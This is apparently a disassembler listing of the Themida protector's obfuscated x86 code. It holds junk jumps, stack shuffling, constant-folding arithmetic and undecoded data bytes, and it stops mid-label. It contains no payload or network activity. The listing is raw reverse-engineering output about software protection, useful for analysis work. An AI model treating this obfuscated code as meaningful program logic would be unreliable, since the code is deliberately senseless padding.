; ---------------------------------------------------------------------------
		dw 0E689h
		dd 1BC6E955h, 0ED810001h, 0EFAAC8D8h, 76E9EE01h, 89000061h
		dd 0E589242Ch, 0F984E9h, 2E4C0500h, 0E0C1588Dh,	4A020507h
		dd 0C501A466h, 939BE9h,	0EF895800h, 37C6055Dh, 0BA522828h
		dd 2B2140DDh, 76E0E9h
		db 0
; ---------------------------------------------------------------------------


loc_55CD81:				; CODE XREF: Themida_:0055F314j
		and	edi, 24EF3AA4h
		shr	edi, 3
		jmp	loc_5662C5
; ---------------------------------------------------------------------------


loc_55CD8F:				; CODE XREF: Themida_:00564F7Ej
		mov	[esp], edx
		pop	dword ptr [edi+20h]
		jmp	loc_56BFCF
; ---------------------------------------------------------------------------


loc_55CD9A:				; CODE XREF: Themida_:00563275j
		xor	eax, [esp]
		xor	[esp], eax
		jmp	loc_5667F8
; ---------------------------------------------------------------------------
		db 66h,	8Bh, 4
aHE		db '$hÆe',0
		align 2
		dw 0C89h
aTyus		db '$TYUéß',9,0
		db 0
; ---------------------------------------------------------------------------


loc_55CDB9:				; CODE XREF: Themida_:0056D479j
		mov	eax, [esp]
		push	edx
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp]
		pop	esp
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		push	11D7h
		mov	[esp], ecx
		push	edx
		jmp	loc_55CA6B
; ---------------------------------------------------------------------------
aWs		db 'Wé$ ',0
		db 0
; ---------------------------------------------------------------------------


loc_55CDE9:				; CODE XREF: Themida_:00563C97j
		sub	esp, 4
		mov	[esp], esi
		jmp	loc_55E1F8
; ---------------------------------------------------------------------------
		dd 4BBh, 0AAC9E900h, 0D8310000h, 58C7895Bh, 8106EFC1h
		dd 13002EF7h, 7E7C114h,	0D208EF81h, 0CBE948F8h,	59000116h
		dd 4C481h, 4BE90000h, 8B00003Ah, 0C483242Ch, 4EC8104h
		dd 0E9000000h, 12D3Eh, 62C1BA52h, 0F742685Bh, 0ACB850DAh
		dd 0E96DBA6Eh, 0AA6Dh
; ---------------------------------------------------------------------------


loc_55CE4C:				; CODE XREF: Themida_:00570EDCj
		xchg	ebp, [esp]
		pop	esp
		push	3728h
		mov	[esp], ebx
		mov	ebx, esp
		add	ebx, 4
		jmp	loc_56C685
; ---------------------------------------------------------------------------
		db 50h,	0B8h, 0F2h
		dd 142331Fh, 0C78158C7h, 2B9D1CDCh, 0C999C781h,	0F889A9A7h
		dd 1E8835Fh, 0C68B125h,	1F5B0D12h, 91E95A8Bh, 68000075h
		dd 5EFAh, 68241C89h, 4B0Ch, 0B4240489h,	0AA54E955h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55CEA6:				; CODE XREF: Themida_:0056A529j
		mov	esi, 46B7601Ch
		jmp	loc_56BA0A
; ---------------------------------------------------------------------------
		dd 2474FF50h, 48F5804h,	67E95C24h, 0F700009Eh, 2CBA52D9h
		dd 31DC75E2h, 0CA095AD1h, 5C64E9h, 5B99BA00h, 0D0017AAEh
		dd 0E92434FFh, 0F81Bh
; ---------------------------------------------------------------------------


loc_55CEE0:				; CODE XREF: Themida_:00567D6Fj
		pop	dword ptr [esp]
		xor	eax, ebp
		jmp	loc_565994
; ---------------------------------------------------------------------------


loc_55CEEA:				; CODE XREF: Themida_:0056A078j
		add	esp, 4
		push	edi
		push	dword ptr [esp+4]
		pop	edi
		pop	dword ptr [esp]
		mov	esp, [esp]
		jmp	loc_56E6AB
; ---------------------------------------------------------------------------
aQhC		db 'Qh^C',0
		align 4
aISe		db '‰,$éeÔ',0
		align 4


loc_55CF0C:				; CODE XREF: Themida_:00566654j
		xor	ebx, 0E68693F9h
		add	eax, ebx
		jmp	loc_56E7C9
; ---------------------------------------------------------------------------
		db 83h,	0ECh, 4
		dd 0E9242C89h, 351h
; ---------------------------------------------------------------------------


loc_55CF24:				; CODE XREF: Themida_:0055E5C9j
		push	dword ptr [esp]
		pop	ecx
		jmp	loc_55F589
; ---------------------------------------------------------------------------
aRHSx		db 'R²h(ÐéåÊ',0
		dw 8100h
		dd 0DC1EE8C6h, 0A446E900h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55CF42:				; CODE XREF: Themida_:0056CD8Cj
		pop	esi
		or	eax, eax
		jz	loc_565CA2
		push	dword ptr [edi+1Ch]
		push	dword ptr [esp]
		jmp	loc_55D2A6
; ---------------------------------------------------------------------------


loc_55CF56:				; CODE XREF: Themida_:0055F037j
		mov	eax, [esp]
		add	esp, 4
		push	0
		sub	dword ptr [esp], 7771EF6h
		sub	[esp], edx
		add	dword ptr [esp], 7771EF6h
		jmp	loc_5661B9
; ---------------------------------------------------------------------------


loc_55CF77:				; CODE XREF: Themida_:00567810j
		mov	edx, esp
		add	edx, 4
		jmp	loc_56BED7
; ---------------------------------------------------------------------------
		dd 2346E950h, 0BA0001h,	81175800h, 13241F2h, 0EAD14246h
		dd 0CA81DAF7h, 637054C3h, 346FEA81h, 0D129E1EFh, 5AC1815Ah
		dd 81143A4Ch, 92C436E9h, 59CD2951h, 8B242C87h, 14892424h
		dd 0E99C5024h, 0FFFFF45Ah
; ---------------------------------------------------------------------------


loc_55CFC8:				; CODE XREF: Themida_:0055ECFFj
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp]
		pop	esp
		jmp	loc_56BA89
; ---------------------------------------------------------------------------
		db 0B8h
		dd 4, 4244401h,	24048F58h, 4240481h, 5D000000h,	1BFEBB53h
		dd 0BE567522h, 671F0CB2h, 8102EEC1h, 44555EE6h,	79E68129h
		dd 0E9270419h, 2BCDh, 58C1015Dh, 31240C33h, 0C33240Ch
		dd 24248B24h, 240CD366h, 0F3F8E99Ch, 248BFFFFh,	22E80524h
		dd 0C8011102h, 8CE95055h, 57000083h, 475D89BFh,	2BBB531Ch
		dd 0E918990Dh, 0B899h, 0E959C801h, 0EC7Bh
; ---------------------------------------------------------------------------


loc_55D054:				; CODE XREF: Themida_:00561C96j
		add	esp, 4
		jmp	loc_56D8BD
; ---------------------------------------------------------------------------
		dd 0C102E8C1h, 0EC8302E8h, 242C8904h, 3DFEBF57h, 0F7815643h
		dd 231E7F83h, 0E9E7D14Fh, 7F72h, 4EC81h, 1C890000h, 6A4ABB24h
		dd 0BCE900F5h, 5F00003Ch, 31242C33h, 2C33242Ch,	0FCD8E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55D09E:				; CODE XREF: Themida_:0056A816j
		push	ebx
		push	1C34h
		mov	[esp], ecx
		jmp	loc_568260
; ---------------------------------------------------------------------------


loc_55D0AC:				; CODE XREF: Themida_:0056FF45j
		pop	ebx
		xor	ebx, 5EC5339Eh
		mov	edx, [esp]
		add	esp, 4
		sub	edx, 643B63CAh
		add	edx, ebx
		add	edx, 643B63CAh
		pop	ebx
		push	edi
		push	esi
		jmp	loc_562DB4
; ---------------------------------------------------------------------------
		dw 3C89h
		dd 4EC8124h, 89000000h,	4832424h, 3C8B0424h
		db 24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	eax
		mov	eax, 4
		add	ebp, eax
		pop	eax
		push	1D0Ch
		mov	[esp], eax
		push	edx
		mov	edx, 4
		mov	eax, edx
		pop	edx
		add	ebp, eax
		pop	eax
		push	ebp
		push	dword ptr [esp+4]
		jmp	loc_55F69F
; ---------------------------------------------------------------------------
		db 8Bh
		dd 8957240Ch, 4C781E7h,	0E9000000h, 95DEh, 0C681D6F7h
		dd 0D9C57D4Ch, 34FFF189h, 163DE924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55D132:				; CODE XREF: Themida_:0056A3ADj
		mov	ebx, edi
		pop	edi
		sub	esi, 15020DD9h
		sub	esi, ebx
		add	esi, 15020DD9h
		push	dword ptr [esp]
		jmp	loc_567077
; ---------------------------------------------------------------------------


loc_55D14B:				; CODE XREF: Themida_:005692BFj
		sub	esp, 4
		mov	[esp], ebx
		mov	ebx, esp
		add	ebx, 4
		push	esi
		mov	esi, 4
		sub	ebx, esi
		pop	esi
		jmp	loc_5601B2
; ---------------------------------------------------------------------------
		dw 53B2h
		dd 8B66D000h, 0C4832414h, 3BBDE902h, 8B540000h,	14E92404h
		db 42h,	1, 0
; ---------------------------------------------------------------------------


loc_55D183:				; CODE XREF: Themida_:00565DB9j
		xor	ebx, [esp]
		jmp	loc_55CC9A
; ---------------------------------------------------------------------------


loc_55D18B:				; CODE XREF: Themida_:005627D6j
		mov	ecx, 6FBF2D49h
		mov	ebp, 7F503BFEh
		xor	ebp, ecx
		pop	ecx
		neg	ebp
		xchg	esi, ebp
		not	esi
		xchg	esi, ebp
		push	edi
		mov	edi, 799132F6h
		xor	edi, 2E881338h
		shr	edi, 6
		xor	edi, 52F3665h
		add	edi, 462932A3h
		xor	edi, 5FD015F7h
		jmp	loc_56BABA
; ---------------------------------------------------------------------------
		dw 487h
		dd 24248B24h, 9CC88566h, 0FFF24DE9h, 57D68FFh, 59E90000h
		db 17h,	1, 0
; ---------------------------------------------------------------------------


loc_55D1DF:				; CODE XREF: Themida_:00566F9Cj
		xor	eax, edx
		pop	edx
		push	edx
		mov	edx, esp
		push	ebp
		mov	ebp, 64FD7785h
		push	esi
		mov	esi, 65187506h
		add	esi, 363A59CAh
		inc	esi
		shr	esi, 8
		not	esi
		xor	esi, 4786415Eh
		sub	esi, 1DE063F0h
		sub	ebp, 63E62446h
		add	ebp, esi
		add	ebp, 63E62446h
		pop	esi
		add	edx, ebp
		pop	ebp
		push	esi
		mov	esi, 4
		sub	edx, esi
		pop	esi
		xor	edx, [esp]
		xor	[esp], edx
		xor	edx, [esp]
		pop	esp
		mov	[esp], esi
		push	edi
		mov	edi, 1000000h
		push	esi
		mov	esi, esp
		add	esi, 4
		sub	esi, 4
		xchg	esi, [esp]
		jmp	loc_56A4CC
; ---------------------------------------------------------------------------
		db 0F6h
		dd 0F65066D8h, 4FE2414h, 81586624h, 4ECh, 24148900h, 27E91DB6h
		db 0Eh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_55D267:				; CODE XREF: Themida_:0056EE1Fj
		sub	al, 12h
		jmp	loc_55E873
; ---------------------------------------------------------------------------
		dw 0D701h
		dd 12B63E9h, 6E6ABD00h,	0C28175B9h, 0DE67218h, 4144EA81h
		dd 0EA291F61h, 4144C281h, 0EA811F61h, 0DE67218h, 5D2434FFh
		dd 81E38953h, 4C3h, 53F4E900h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55D2A6:				; CODE XREF: Themida_:0055CF51j
		push	dword ptr [esp]
		push	dword ptr [esp]
		mov	ecx, [esp]
		add	esp, 4
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		jmp	loc_567C7C
; ---------------------------------------------------------------------------


loc_55D2C9:				; CODE XREF: Themida_:00570F60j
		push	edx
		xchg	ecx, [esp]
		not	ecx
		xchg	ecx, [esp]
		pop	edx
		neg	edx
		push	esi
		mov	esi, 0FFCE9C01h
		jmp	loc_561812
; ---------------------------------------------------------------------------
aYa5hg		db 'Y€Ç5hƒ*',0
		dd 240C8900h, 0FF55E953h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55D2F2:				; CODE XREF: Themida_:00567E7Bj
		mov	[esp], ecx
		mov	edi, [esp]
		add	esp, 4
		mov	ecx, [esp]
		add	esp, 4
		push	1735h
		mov	[esp], eax
		push	4235h
		mov	[esp], edi
		jmp	loc_5625CB
; ---------------------------------------------------------------------------


loc_55D316:				; CODE XREF: Themida_:00564A74j
		add	edx, 0E3F4974h
		sub	edx, 3B3B2A29h
		add	edx, ebx
		add	edx, 3B3B2A29h
		sub	edx, 0E3F4974h
		push	dword ptr [esp]
		pop	ebx
		add	esp, 4
		xor	edx, [esp]
		jmp	loc_56D5EB
; ---------------------------------------------------------------------------
aLS9c		db '‹$$é9æ',0
		align 2


loc_55D34A:				; CODE XREF: Themida_:0056DF42j
		mov	ax, [esp]
		jmp	loc_55F5C0
; ---------------------------------------------------------------------------
		db 0BFh
		dd 2E1D8140h, 275BC381h, 6BE92167h, 57000042h, 96F0E9h
		db 0
; ---------------------------------------------------------------------------


loc_55D369:				; CODE XREF: Themida_:0056781Aj
		mov	ecx, 421F13A5h
		mov	edx, 23F6269Ah
		add	edx, ecx
		pop	ecx
		mov	ecx, edx
		pop	edx
		push	ecx
		jmp	loc_570A0F
; ---------------------------------------------------------------------------
		db 57h
		dd 8EFE954h, 1C890001h,	46E95724h
		db 0DFh, 2 dup(0)
; ---------------------------------------------------------------------------


loc_55D38F:				; CODE XREF: Themida_:0056C2A1j
		sub	ebp, eax
		pop	eax
		sub	ebp, eax
		jmp	loc_56095D
; ---------------------------------------------------------------------------


loc_55D399:				; CODE XREF: Themida_:00567A94j
		pop	edi
		sub	ecx, 4
		xchg	ecx, [esp]
		jmp	loc_56D7FD
; ---------------------------------------------------------------------------


loc_55D3A5:				; CODE XREF: Themida_:0056B3A9j
		mov	ebp, 337A58C4h
		shl	ebp, 7
		sub	ebp, 986F063Bh
		jmp	loc_56119F
; ---------------------------------------------------------------------------
		dd 48BE388h, 4C48324h, 0E924148Bh, 49FBh, 8B243433h, 4AE92424h
		dd 87000063h, 248B242Ch, 3CA3E924h, 0CF680000h,	0E9000005h
		dd 0B7F8h
; ---------------------------------------------------------------------------


loc_55D3E8:				; CODE XREF: Themida_:0055F818j
		mov	ebp, esp
		jmp	loc_565CFA
; ---------------------------------------------------------------------------
		db 31h
		dd 31C831C1h, 148751C1h, 52D2F724h, 42474FFh, 24048F5Ah
		dd 103B7E9h
		db 0
; ---------------------------------------------------------------------------


loc_55D409:				; CODE XREF: Themida_:0056D5DAj
		pop	edi
		add	edi, 4
		sub	edi, 4
		xchg	edi, [esp]
		pop	esp
		mov	[esp], ecx
		jmp	loc_57093B
; ---------------------------------------------------------------------------


loc_55D41F:				; CODE XREF: Themida_:005681FFj
		mov	[esp], eax
		mov	eax, 4
		add	dword ptr [esp+4], 3B7B1B75h
		add	[esp+4], eax
		sub	dword ptr [esp+4], 3B7B1B75h
		pop	eax
		pop	esi
		jmp	loc_569DAB
; ---------------------------------------------------------------------------


loc_55D442:				; CODE XREF: Themida_:0056009Cj
		mov	eax, esp
		push	ebp
		push	esi
		mov	esi, 4
		jmp	loc_56007A
; ---------------------------------------------------------------------------
		dd 4BDh, 5DEF0100h, 59C268h, 242C8900h,	1302CE9h, 5E08900h
		dd 4, 0F054E956h, 13BF0000h, 1682068h, 19CCE9FEh, 0C5810000h
		dd 2B375A94h, 8B5DE801h, 0C4832434h, 37C68104h,	296CF722h
		dd 37EE81C6h, 8B6CF722h, 0C4812404h, 4,	6C896857h, 815F6337h
		dd 0B47939EEh, 0E9FE0174h, 10360h, 15FFE89h, 1C875EF3h
		dd 0C3315C24h, 57E9008Fh, 0BBFFFFEFh, 4BE1173Ch, 2D83CB81h
		dd 814B07CCh, 0B307A1C3h, 5BAEE913h, 80590000h,	0DAF69BCAh
		dd 28FCEA80h, 0EB805AD0h, 42EB80BEh, 5EB1E9h, 24048900h
		dd 0BE56E089h, 307F51D1h, 2FE0EE81h, 0F68124F9h, 0B8621F5h
		dd 0EF51E9h, 0EB815800h, 5B9249E7h, 0C381D301h,	5B9249E7h
		dd 0C17E9h, 67902D00h, 0D0296399h, 99679005h, 0A0685A63h
		dd 0E900007Bh, 11404h
; ---------------------------------------------------------------------------


loc_55D540:				; CODE XREF: Themida_:0055DAA1j
		mov	edx, 25FE664Bh
		push	ebp
		mov	ebp, 66A19A4h
		add	ebp, 295A6B91h
		xor	ebp, 7C8D2E13h
		push	edx
		mov	edx, ebp
		mov	ecx, edx
		pop	edx
		jmp	loc_56B26F
; ---------------------------------------------------------------------------
		dw 1433h
		dd 0A1E95C24h
		db 16h,	1, 0
; ---------------------------------------------------------------------------


loc_55D56B:				; CODE XREF: Themida_:00563015j
		push	7725h
		mov	[esp], ecx
		mov	ecx, 610E1950h
		add	ecx, 6BE7783Dh
		and	ecx, 68F27EC7h
		shr	ecx, 8
		xor	ecx, offset dword_48F014
		add	ebp, ecx
		pop	ecx
		add	ebp, 4
		jmp	loc_564099
; ---------------------------------------------------------------------------
		db 0BAh
		dd 301B2750h, 55AD001h,	66427C46h, 3BE8E9h, 4BE00h, 0F2010000h
		dd 0E66DE9h
		db 0
; ---------------------------------------------------------------------------


loc_55D5B9:				; CODE XREF: Themida_:005672E7j
		pop	edx
		xor	ebx, 4E1E237Ah
		xor	ecx, ebx
		pop	ebx
		jmp	loc_55DA02
; ---------------------------------------------------------------------------
		dd 0EC81D801h, 4, 0BA241489h, 0BC90262h, 0EEE9D001h, 8900007Fh
		dd 9C502414h, 0FFEE39E9h, 242C8BFFh, 2458E9h, 4BE5600h
		dd 0E9000000h, 0F25Ch, 7FF3E953h, 0E9540000h, 92FEh, 0C831C131h
		dd 11D1FE9h
		db 0
; ---------------------------------------------------------------------------


loc_55D611:				; CODE XREF: Themida_:00563442j
		mov	ecx, 0
		push	4DF3h
		jmp	loc_56C173
; ---------------------------------------------------------------------------


loc_55D620:				; CODE XREF: Themida_:0056E523j
		push	edx
		mov	dh, al
		mov	ch, dh
		pop	edx
		mov	dh, ch
		pop	ecx
		mov	ch, dh
		pop	edx
		push	dword ptr [esp]
		jmp	loc_562BC0
; ---------------------------------------------------------------------------


loc_55D634:				; CODE XREF: Themida_:0055E594j
		add	[esp+4], ebx
		mov	ebx, [esp]
		add	esp, 4
		push	ebp
		push	ecx
		mov	ecx, 1C8D25B4h
		jmp	loc_568F14
; ---------------------------------------------------------------------------
		db 89h,	3Ch, 24h
		dd 5AD1BE56h, 33BF7207h, 18DF8A5h, 0EA01E9F7h, 34FF0000h
		dd 0EC815D24h, 4, 89243489h, 0CBBE9E6h,	0C2810001h, 4
		dd 3304EA83h, 14312414h, 2365E924h, 0D6F70000h,	0F74AF287h
		dd 0B8F281D2h, 817D2234h, 2C72D1E2h, 0FC13E949h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55D6A2:				; CODE XREF: Themida_:00568B31j
		pop	edi
		add	edi, 4
		jmp	loc_5665C9
; ---------------------------------------------------------------------------
		dw 0ED81h
		dd 2C53EB3h, 2DCE9h, 46685C00h,	8900001Bh, 0F4E92414h
		dd 0C10000F7h, 535105E3h, 9471CF68h, 819EE94Eh,	0E9520000h
		dd 0DA1h, 8C727668h, 4C31592Ah,	98E90424h
		db 0FEh, 2 dup(0)
; ---------------------------------------------------------------------------


loc_55D6EB:				; CODE XREF: Themida_:0055C494j
		push	eax
		mov	eax, esp
		jmp	loc_56CD9A
; ---------------------------------------------------------------------------
		db 89h
		dd 4C381E3h, 83000000h,	1C8704C3h, 815B5C24h, 0C62DF1C6h
		dd 6EEE8128h, 0E94A8374h, 74EBh, 0BCC7E95Bh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55D71A:				; CODE XREF: Themida_:00563A80j
		xor	edi, [esp]
		pop	esp
		mov	[esp], ebx
		push	0D62h
		push	esp
		pop	dword ptr [esp]
		add	dword ptr [esp], 4
		jmp	loc_56A1A4
; ---------------------------------------------------------------------------
aZsid		db 'Zé©D',0
		dd 0CB015E00h, 3BB96859h, 0C890000h, 26824h, 0C8B0000h
		dd 4C48124h, 81000000h,	0D41D85C3h, 2C38109h, 81449D03h
		dd 0A618D3EBh, 0B1EB8121h, 16B2A59h, 0B1C381CBh, 0E96B2A59h
		dd 8898h, 0C8B60F66h, 40EC68h, 243C8900h, 5C6F68h, 48F5400h
		dd 51F9E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55D792:				; CODE XREF: Themida_:0056911Fj
		push	ebp
		jmp	loc_561BD0
; ---------------------------------------------------------------------------
		dd 0FD65E956h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55D79E:				; CODE XREF: Themida_:00567783j
		or	ebx, 63166822h
		and	ebx, 447629A7h
		push	esi
		mov	esi, 0F42A18B7h
		add	ebx, esi
		pop	esi
		mov	ecx, ebx
		pop	ebx
		push	4D4Bh
		mov	[esp], ecx
		pop	edx
		pop	ecx
		jmp	loc_56EA9D
; ---------------------------------------------------------------------------
		db 5Ah,	28h, 0C3h
		dd 16B25258h, 1225FE9h
		db 0
; ---------------------------------------------------------------------------


loc_55D7D1:				; CODE XREF: Themida_:0056B3CEj
		push	dword ptr [esp]
		push	dword ptr [esp]
		push	dword ptr [esp]
		jmp	loc_56B7C0
; ---------------------------------------------------------------------------
		db 55h
		dd 0AD605BBDh, 72C6812Fh, 14F4E08h, 72EE81EEh, 0E94F4E08h
		dd 610Bh
; ---------------------------------------------------------------------------


loc_55D7F8:				; CODE XREF: Themida_:0055E1FDj
		or	edx, esi
		pop	esi
		dec	edx
		and	edx, 68D90A04h
		sub	edx, 0CF68EECAh
		xor	ebp, edx
		push	dword ptr [esp]
		jmp	loc_56CD15
; ---------------------------------------------------------------------------
		dw 6F68h
		dd 89000026h, 0D1682434h, 89000029h, 0D6E92424h
		db 0A4h, 2 dup(0)
; ---------------------------------------------------------------------------


loc_55D827:				; CODE XREF: Themida_:0056B324j
		add	ecx, 4
		jmp	loc_566C5D
; ---------------------------------------------------------------------------
		dw 9B8h
		dd 0C11D9971h, 0F74808E0h, 8E0C1D0h, 0E9FFC083h, 107DDh
; ---------------------------------------------------------------------------


loc_55D848:				; CODE XREF: Themida_:0056B458j
		xor	ebp, 1ECF3EBCh
		xor	ebp, 79741600h
		sub	ebp, 0EFBF37B8h
		jmp	loc_564BC6
; ---------------------------------------------------------------------------


loc_55D85F:				; CODE XREF: Themida_:0055EC8Fj
		mov	edi, 39144C6Dh
		mov	edx, edi
		pop	edi
		dec	edx
		dec	edx
		push	ecx
		mov	ecx, 51A11688h
		not	ecx
		xor	ecx, 8162F5F8h
		sub	edx, ecx
		pop	ecx
		push	68E0h
		jmp	loc_5709AD
; ---------------------------------------------------------------------------


loc_55D884:				; CODE XREF: Themida_:005608E5j
		dec	ebp
		push	edx
		mov	edx, 16D2070Ah
		sub	esp, 4
		mov	[esp], ecx
		mov	ecx, 785F55AAh
		jmp	loc_56FE25
; ---------------------------------------------------------------------------
		db 66h
		dd 68240C8Bh, 751Dh, 68242C89h,	98Bh, 5E57E9h, 56575D00h
		dd 6894E9h, 67C58100h, 3181C923h, 0F2015DEEh, 8324348Bh
		dd 5AE904C4h, 55FFFFFCh, 2434FF54h, 4C4835Dh, 8904EC83h
		dd 94BF243Ch, 0C170616Dh, 0E7C104E7h, 7DF78106h, 817D5331h
		dd 0F669FEFh, 0B8E78146h, 8167F953h, 713AFF7h, 5058E92Fh
		dd 0EF810000h, 124207CCh, 312AC781h, 0C7811D04h, 3172580Eh
		dd 0C0E9D7F7h, 8B000092h, 3C892424h, 55E78924h,	0FFFB23E9h
		dd 4C481FFh, 33000000h,	0C31240Ch, 8E11E924h, 0C6810000h
		dd 72029630h, 835EF501h, 48904ECh, 81685124h, 0FF2E1628h
		dd 81592434h, 4C4h, 0C1D1F700h,	814108E9h, 2E162CC1h, 59C889FFh
		dd 48BC501h
		db 24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		mov	esp, [esp]
		jmp	loc_5635A2
; ---------------------------------------------------------------------------
		dd 0CCBEEF81h, 0F829A878h, 3209E9h, 52F58100h, 89698D22h
		dd 0CF015DEFh, 21F6E959h, 0B9510001h, 698B7130h, 0E959CB01h
		dd 127DCh
; ---------------------------------------------------------------------------


loc_55D9B4:				; CODE XREF: Themida_:00564C9Ej
		xor	dl, bh
		mov	ebx, [esp]
		add	esp, 4
		push	eax
		mov	ah, dl
		mov	ch, ah
		mov	eax, [esp]
		push	eax
		mov	eax, esp
		jmp	loc_56CFEE
; ---------------------------------------------------------------------------


loc_55D9CF:				; CODE XREF: Themida_:0056F267j
		and	ebx, edx
		mov	edx, [esp]
		add	esp, 4
		shr	ebx, 6
		xor	ebx, 4A24F8ECh
		push	ebx
		pop	esi
		jmp	loc_561C93
; ---------------------------------------------------------------------------


loc_55D9EA:				; CODE XREF: Themida_:00563CB3j
		mov	[esp], eax
		jmp	loc_56F3F9
; ---------------------------------------------------------------------------
		dw 0E6C1h
		dd 84C68107h, 14068ACh,	914DE9F3h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55DA02:				; CODE XREF: Themida_:0055D5C3j
		not	ecx
		push	ebp
		mov	ebp, 2C8357FDh
		jmp	loc_55DD80
; ---------------------------------------------------------------------------
		db 66h
		dd 6824048Bh, 0B7Ah, 81242C89h,	4ECh, 24248900h, 0EBD6E9h
		db 0
; ---------------------------------------------------------------------------


loc_55DA29:				; CODE XREF: Themida_:0056482Ej
		add	ebx, esi
		sub	ebx, 0D737817h
		pop	esi
		jmp	loc_562A13
; ---------------------------------------------------------------------------
		db 5Ah
		dd offset loc_40FAE9
		dd 4EC8100h, 89000000h,	0FE9242Ch
		db 57h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_55DA4B:				; CODE XREF: Themida_:0056A3F3j
		sub	ecx, 51291AD0h
		add	ecx, ebx
		push	ebp
		mov	ebp, 51291AD0h
		add	ecx, ebp
		mov	ebp, [esp]
		add	esp, 4
		pop	ebx
		jmp	loc_56BFC0
; ---------------------------------------------------------------------------
		db 81h
		dd 4C4h, 18B3E900h, 148B0000h, 4C48324h, 0B8504949h, 10BA3B98h
		dd 8158C101h, 4D027DC9h, 4EC8162h, 89000000h, 0BD552414h
		dd 5EFA611Ch, 0E902E5C1h, 0F4CAh
; ---------------------------------------------------------------------------


loc_55DAA0:				; CODE XREF: Themida_:0056DF36j
		push	edx
		jmp	loc_55D540
; ---------------------------------------------------------------------------
		dw 0C480h
		dd 58E63019h, 5C2268h, 24048900h, 0E60036B4h, 80C6FE58h
		dd 0E6C051C6h, 0B7536607h, 0D8C680B1h, 0EE80FE28h, 1C8B66D8h
		dd 2C48124h, 50000000h,	0D9E9F488h, 0E9FFFFF8h,	0FFFFE93Eh
		dd 24048B66h, 412A68h, 242C8900h, 4EC81h, 24890000h, 24048124h
		dd 4, 0E289525Dh, 4C281h, 0A8E90000h
		db 98h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_55DB0F:				; CODE XREF: Themida_:0056C2DBj
		pop	edi
		pop	edx
		jmp	loc_564EC9
; ---------------------------------------------------------------------------
		dd offset dword_58EA68
		dw 0E900h
		dd 0B0B0h
; ---------------------------------------------------------------------------


loc_55DB20:				; CODE XREF: Themida_:0056364Ej
		xchg	ebx, esi
		add	ebx, 0FFFFFFFFh
		xchg	ebx, esi
		shr	esi, 8
		shl	esi, 8
		jmp	loc_56C6A2
; ---------------------------------------------------------------------------
		db 50h,	0B4h, 3Ah
		dd 0E903ECC0h, 26A8h, 0F618E480h, 0E9C4FEDCh, 10C2Fh
; ---------------------------------------------------------------------------


loc_55DB4C:				; CODE XREF: Themida_:0056FFB8j
		xchg	ecx, [esp]
		pop	esp
		mov	[esp], edx
		jmp	loc_561ECE
; ---------------------------------------------------------------------------
		dd 8B243C33h, 3C892424h, 0AA0E924h
		db 1, 0
; ---------------------------------------------------------------------------


loc_55DB66:				; CODE XREF: Themida_:0056072Bj
		sub	ebp, 4
		jmp	loc_56F183
; ---------------------------------------------------------------------------
aUbOlStf	db 'U,$^ol,éT”',0
		dw 8900h
		dd 242C8BE8h, 104C483h,	565358C1h, 380D8FBEh, 0F275BB3Ch
		dd 0F301C3C7h, 5724348Bh, 1CE9E789h, 0FE000134h, 116CE9C6h
		dd 14890000h, 373BBA24h, 0D03152C5h, 8124148Bh,	4C4h, 95EA8100h
		dd 10AB65Bh, 95C281C2h,	580AB65Bh, 42BCE9h, 3C055B00h
		dd 531EB371h, 0FFFFFFBBh, 8BD829FFh, 0C483241Ch, 6E0C104h
		dd 97D9E9h
		db 0
; ---------------------------------------------------------------------------


loc_55DBE9:				; CODE XREF: Themida_:0056022Dj
		xchg	edx, [esp]
		pop	esp
		shr	ebx, 1
		push	esi
		mov	esi, 79E90C2Bh
		push	esi
		neg	dword ptr [esp]
		pop	esi
		jmp	loc_56A8F3
; ---------------------------------------------------------------------------
		db 28h
		dd 4EB80F3h, 0BB41E9h
		db 0
; ---------------------------------------------------------------------------


loc_55DC09:				; CODE XREF: Themida_:0056BC07j
		xor	[esp], ecx
		xor	ecx, [esp]
		mov	esp, [esp]
		push	175Dh
		jmp	loc_569F45
; ---------------------------------------------------------------------------


loc_55DC1C:				; CODE XREF: Themida_:00564332j
		pop	esp
		add	esi, 281F072Ah
		mov	edi, [esp]
		add	esp, 4
		add	[edi+24h], esi
		jmp	loc_56160B
; ---------------------------------------------------------------------------


loc_55DC34:				; CODE XREF: Themida_:0056D8DFj
		add	edx, 4
		xchg	edx, [esp]
		pop	esp
		jmp	loc_55DFC9
; ---------------------------------------------------------------------------
		db 88h
		dd 0E38853DCh, 99F7E9h,	2DF78100h, 0E98FBD96h, 0FC8Ch
		dd 516DBB53h, 0B3E94949h, 5100011Dh, 0E800BAB5h, 81240C8Bh
		dd 4C4h, 0DDB6E900h, 0C4830000h, 4C48304h, 4C281h, 0B2E90000h
		dd 8B000132h, 0C892424h, 74BB5324h, 892FC267h, 0BE565BD9h
		dd 6E273DC0h, 2649E9h, 806FB300h, 0E3C096C3h, 4EC8302h
		dd 0B0240489h, 1EE95178h, 81000047h, 4ECh, 24148900h, 973758BAh
		dd 8BD63155h, 0F1E92414h
		db 48h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_55DCCF:				; CODE XREF: Themida_:0056B6FEj
		not	ecx
		xor	esi, ecx
		xor	ecx, esi
		jmp	loc_565E1B
; ---------------------------------------------------------------------------
aPHST		db 'P¸h\`!é]’',0
		db 0
; ---------------------------------------------------------------------------


loc_55DCE5:				; CODE XREF: Themida_:00568D32j
